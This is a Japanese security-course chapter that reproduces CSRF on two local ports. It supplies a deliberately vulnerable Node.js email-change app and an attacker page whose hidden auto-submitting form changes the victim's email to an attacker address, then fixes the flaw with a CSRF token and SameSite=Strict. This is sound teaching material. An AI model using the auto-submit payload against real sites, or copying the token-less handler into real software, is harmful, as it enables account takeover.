コース目次 / 第3章
CSRF — 意図しない操作を、させられる
攻撃者サイトから、被害者のCookieを使って状態変更リクエストを送るCSRFを2オリジンで再現します。原因を理解し、CSRFトークンとSameSiteで直して再検証します。
セッションIDが強くて盗まれていなくても、起きる攻撃があります——CSRF(Cross-Site Request Forgery)。攻撃者は、あなたのセッションIDを盗みません。あなたのブラウザに、あなたのCookieごと、意図しないリクエストを送らせるのです。
法と倫理ゲート
手を動かす前に
このコースは攻撃の技術に触れます。実習してよい相手は、次の3つだけです。
- (a) 自分で作った練習用のやられ環境(このサイトが配る自作ターゲット)
- (b) あなた自身の許可された環境(自分の Thousand SKY・secret-notes-ctf など)
- (c) CTF 競技の中(規約の範囲で)
実在する第三者のシステムを許可なく触ることは、不正アクセス禁止法に触れます。 このゲートは、その線引きを毎回の入口で確かめるためのものです。詳しくは「セキュリティの法と倫理」へ。
仕組み — ブラウザは、Cookieを自動で付ける
思い出してください。ブラウザは、127.0.0.1:3820 へのリクエストには、3820 の Cookie を自動で付けます。どのページ起点のリクエストであっても——攻撃者のサイト起点であっても(SameSite が無ければ)。ここに穴があります。
あなたが銀行(:3820)にログイン済みのまま、攻撃者のサイト(:3821)を開く。攻撃者のページが、こっそり銀行の「メールアドレス変更」に POST を送る。ブラウザは、その POST に銀行の Cookie を自動で付けてしまう。銀行サーバは「正しいセッションが来た」と信じ、メールアドレスを攻撃者のものに変える——パスワードリセットの乗っ取りへ。あなたは何もしていないのに、あなたの権限で操作が実行された。
標的 — メール変更を持つアプリ(:3820)
下を csrf-victim.js として保存します。TOKEN=1 で修正版(トークン必須)です。
// csrf-victim.js — メール変更を持つアプリ。127.0.0.1:3820。TOKEN=1 で修正版。
const http = require('node:http');
const crypto = require('node:crypto');
const sessions = new Map(); // sid -> { user, email, csrf }
const REQUIRE_TOKEN = process.env.TOKEN === '1';
http.createServer((req, res) => {
const url = new URL(req.url, 'http://127.0.0.1:3820');
const sid = /(?:^|;\s*)sid=([^;]+)/.exec(req.headers.cookie || '')?.[1];
res.setHeader('Content-Type', 'text/plain; charset=utf-8');
if (url.pathname === '/login') {
const s = crypto.randomBytes(16).toString('hex');
sessions.set(s, { user: 'haruto', email: 'haruto@example.com', csrf: crypto.randomBytes(16).toString('hex') });
// 修正版は SameSite=Strict も付ける(他サイト起点では Cookie を送らせない)。
const attrs = REQUIRE_TOKEN ? '; HttpOnly; SameSite=Strict; Path=/' : '; HttpOnly; Path=/';
res.setHeader('Set-Cookie', 'sid=' + s + attrs);
res.end('ログイン。csrfトークン=' + sessions.get(s).csrf);
return;
}
if (url.pathname === '/email' && req.method === 'POST') {
const sess = sessions.get(sid);
if (!sess) { res.writeHead(401); res.end('未ログイン'); return; }
let body = '';
req.on('data', (c) => (body += c));
req.on('end', () => {
const params = new URLSearchParams(body);
// 修正版: セッションの csrf トークンと一致しなければ拒否。
if (REQUIRE_TOKEN && params.get('csrf') !== sess.csrf) {
res.writeHead(403); res.end('CSRFトークン不一致'); return;
}
sess.email = params.get('email');
res.end('メールを ' + sess.email + ' に変更しました');
});
return;
}
if (url.pathname === '/me') { res.end(JSON.stringify(sessions.get(sid) || {})); return; }
res.end('ok');
}).listen(3820, '127.0.0.1', () => console.log('被害者アプリ: http://127.0.0.1:3820 (Ctrl+C で停止)'));
攻撃者サイト(:3821)
開いた人のブラウザに、被害者アプリのメール変更を自動で送らせるページです。csrf-attacker.js として保存します。
// csrf-attacker.js — 攻撃者サイト。127.0.0.1:3821。開いた人に :3820 のメール変更を送らせる。
const http = require('node:http');
const PAGE = [
'<!doctype html><meta charset="utf-8"><body>',
'<h1>かわいい子猫の写真</h1><p>(裏で、あなたの銀行のメール変更を送っています)</p>',
// ページを開いただけで自動送信されるフォーム。CSRFトークンは持っていない。
'<form id="f" action="http://127.0.0.1:3820/email" method="POST">',
'<input type="hidden" name="email" value="attacker@evil.example.com">',
'</form><script>document.getElementById("f").submit();</script>',
'</body>',
].join('\n');
http.createServer((req, res) => {
res.setHeader('Content-Type', 'text/html; charset=utf-8');
res.end(PAGE);
}).listen(3821, '127.0.0.1', () => console.log('攻撃者サイト: http://127.0.0.1:3821 (Ctrl+C で停止)'));
攻撃 — 開いただけで、メールが変わる
脆弱版で両方起動し、ブラウザで順に。
node csrf-victim.js # 1つめ
node csrf-attacker.js # 2つめ
- ブラウザで
http://127.0.0.1:3820/login(= 被害者がログイン済み)。 - 同じブラウザで
http://127.0.0.1:3821(= 攻撃者サイトをうっかり開く)。 http://127.0.0.1:3820/meを見ると——emailがattacker@evil.example.comに変わっている。
攻撃者のページを開いただけで、あなたのメールアドレスが書き換わりました。攻撃者はあなたのセッションIDを知りません。ただ、あなたのブラウザに「:3820 への POST」を送らせ、ブラウザがあなたの Cookie を自動で付けただけ。原因は——サーバが「この操作を、利用者が本当に意図したか」を確かめていないことです。
修正 — CSRFトークン と SameSite
直しは2枚重ねます。
1. CSRFトークン(同期トークン)。正規のフォームには、セッションごとに違う、推測できない合言葉(csrf トークン)を埋め込んでおき、サーバは受け取ったリクエストにそのトークンが付いているかを確かめる。攻撃者のページは、被害者のセッションのトークンを知りようがないので、送れない。
2. SameSite Cookie。セッション Cookie に SameSite=Strict(や Lax)を付ければ、他サイト起点のリクエストにはブラウザが Cookie を付けなくなる。CSRF リクエストは未ログイン扱いになり、そもそも届かない。Cookie 層での第一防御。
TOKEN=1 で再起動して、攻撃をもう一度。
TOKEN=1 node csrf-victim.js
ブラウザで /login(今度は SameSite=Strict の Cookie)→ 攻撃者サイト :3821 を開くと——メールは変わりません。curl でも、トークン無しの POST が弾かれるのを確かめられます。
# ログインして sid とトークンを得る
curl -i -c jar.txt http://127.0.0.1:3820/login
# トークン無しでメール変更を試す(= CSRF 相当)
curl -b jar.txt -X POST -d "email=attacker@evil.example.com" http://127.0.0.1:3820/email
# => CSRFトークン不一致(403)
トークンが無い(=攻撃者には作れない)リクエストは 403 で拒否されました。正規のフォームだけが持つ合言葉で、「この操作は、正規の画面から・利用者の意図で送られた」ことを確かめている。SameSite と合わせて、CSRF はほぼ塞げます。
持ち帰る一言
状態を変える操作は、意図を確かめる。 CSRF は、盗まずに「あなたのブラウザに送らせる」攻撃。CSRFトークン(攻撃者に作れない合言葉)と SameSite Cookie(他サイト起点で Cookie を送らせない)の二枚で塞ぐ。次は、複数サービスにまたがる認証——OAuth / OIDC を、自作モックで見ます。
こうなっていればOK
卒業まであと2章です。
この章はまだ完了していません。
保存できませんでした(プライベートブラウズ中かもしれません)。この端末に進捗は残りませんが、先へは進めます。